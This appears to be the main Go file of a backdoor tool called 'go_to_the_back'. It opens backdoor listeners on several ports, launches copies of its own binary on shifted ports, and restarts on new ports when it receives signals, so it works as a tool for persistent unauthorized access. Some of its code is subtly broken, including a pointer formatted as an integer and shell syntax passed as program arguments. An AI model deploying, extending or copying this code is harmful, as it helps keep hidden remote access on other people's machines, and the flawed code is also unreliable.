63 lines
1.2 KiB
Go
63 lines
1.2 KiB
Go
package main
|
|
|
|
import (
|
|
"flag"
|
|
"fmt"
|
|
"git.tcp.direct/bfu/go_to_the_back/backdoor"
|
|
"os"
|
|
"os/exec"
|
|
"os/signal"
|
|
"syscall"
|
|
)
|
|
|
|
var (
|
|
bindAddr = flag.String("addr", "127.0.0.1", "bind address")
|
|
startPort = flag.Int("ini", 2222, "starting port")
|
|
numPorts = flag.Int("amt", 5, "number of ports")
|
|
canReboot = flag.Bool("reboot", true, "if the processes can reboot")
|
|
)
|
|
|
|
func init() {
|
|
flag.Parse()
|
|
}
|
|
|
|
func main() {
|
|
dajumpaf:
|
|
for i := 0; i < *numPorts; i++ {
|
|
backdoor.New(*startPort + i)
|
|
}
|
|
|
|
for i, c := range backdoor.Copies {
|
|
bindArg := fmt.Sprintf("-addr=%d", bindAddr)
|
|
startArg := fmt.Sprintf("-ini=%d", *startPort+(i*100))
|
|
backdoor.Logger.Info().Msg(startArg)
|
|
command := &exec.Cmd{
|
|
Path: c,
|
|
Args: []string{c, bindArg, startArg, "&", "disown"},
|
|
}
|
|
// todo: orphan the children.
|
|
// todo: sysprocattr trying to start a fight rn.
|
|
go func() {
|
|
_ = command.Start()
|
|
}()
|
|
}
|
|
|
|
for _, door := range backdoor.Doors {
|
|
d := door
|
|
go func() {
|
|
err := d.Start()
|
|
backdoor.Logger.Err(err)
|
|
backdoor.Mut()
|
|
}()
|
|
}
|
|
|
|
sig := make(chan os.Signal, 1)
|
|
signal.Notify(sig, os.Interrupt, os.Kill, syscall.SIGSTOP, syscall.SIGQUIT)
|
|
<-sig
|
|
|
|
if *canReboot {
|
|
*startPort = *startPort + 10
|
|
goto dajumpaf
|
|
}
|
|
}
|